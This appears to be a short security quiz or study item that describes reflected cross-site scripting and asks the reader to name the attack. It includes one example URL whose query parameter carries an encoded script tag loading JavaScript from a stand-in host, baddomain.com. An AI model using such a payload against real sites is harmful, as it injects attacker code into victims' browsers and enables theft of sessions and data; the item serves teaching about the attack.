This is an attack that takes advantage of a web site vulnerability in which the...

This is an attack that takes advantage of a web site vulnerability in which the site displays content that includes un-sanitized user-provided data.

http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js%22%3E%3C/script%3E ">See foobar

What is this attack?